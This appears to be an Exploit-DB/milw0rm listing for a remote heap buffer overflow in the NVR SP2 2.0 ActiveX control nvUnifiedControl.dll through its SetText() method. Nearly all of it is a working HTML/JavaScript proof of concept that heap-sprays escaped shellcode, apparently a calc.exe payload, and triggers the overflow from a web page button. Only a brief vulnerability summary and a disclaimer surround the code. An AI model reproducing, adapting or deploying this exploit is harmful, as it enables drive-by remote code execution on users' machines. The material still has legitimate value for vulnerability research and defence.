header-logo
Suggest Exploit
vendor:
NVR SP2
by:
shinnai
7.5
CVSS
HIGH
Remote Buffer Overflow
Not provided
CWE
Product Name: NVR SP2
Affected Version From: NVR SP2 2.0
Affected Version To: NVR SP2 2.0
Patch Exists: NO
Related CWE: Not provided
CPE: Not provided
Metasploit:
Other Scripts:
Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7
Not provided

[PoC2] NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0) “SetText()” Remote BoF (Heap Spray Technique)

This exploit targets the nvUnifiedControl.AUnifiedControl.1 control in NVR SP2 2.0, specifically the SetText() function. By exploiting a heap spray technique, an attacker can trigger a remote buffer overflow vulnerability in the nvUnifiedControl.dll version 1.1.45.0. This vulnerability allows the attacker to execute arbitrary code on the target system.

Mitigation:

No mitigation or remediation provided
Source

Exploit-DB raw data:

------------------------------------------------------------------------------------------
 [PoC2] NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0)
 "SetText()" Remote BoF (Heap Spray Technique)
 url: http://www.acti.com/index.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller
 KillBitSet: Falso

 Heap Spray Technique was developed by SkyLined
 (http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html.php)
------------------------------------------------------------------------------------------

<object id=boom classid="clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8" style="WIDTH: 578px; HEIGHT: 228px"></object>

<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">

<script>
 var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                           "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                           "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                           "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                           "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                           "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                           "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                           "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                           "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                           "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                           "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                           "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                           "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                           "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                           "%u652E%u6578%u9000");

 var spraySlide = unescape("%u9090%u9090");
 var heapSprayToAddress = 0x0c0c0c0c;

  function tryMe()
   {
    var size_buff = 9000;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<size_buff) x += x;
    x = x.substring(0,size_buff);

    boom.SetText(1, x, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1);
   }
    
  function getSpraySlide(spraySlide, spraySlideSize)
   {
    while (spraySlide.length*2<spraySlideSize)
     {
      spraySlide += spraySlide;
     }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return (spraySlide);
   }

 var heapBlockSize = 0x800000;
 var SizeOfHeapDataMoreover = 0x5;
 var payLoadSize = (shellcode.length * 2);

 var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
 var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

 var memory = new Array();
 spraySlide = getSpraySlide(spraySlide,spraySlideSize);

 for (i=0;i<heapBlocks;i++)
  {
    memory[i] = spraySlide +  shellcode;
  }
</script>

# milw0rm.com [2007-08-28]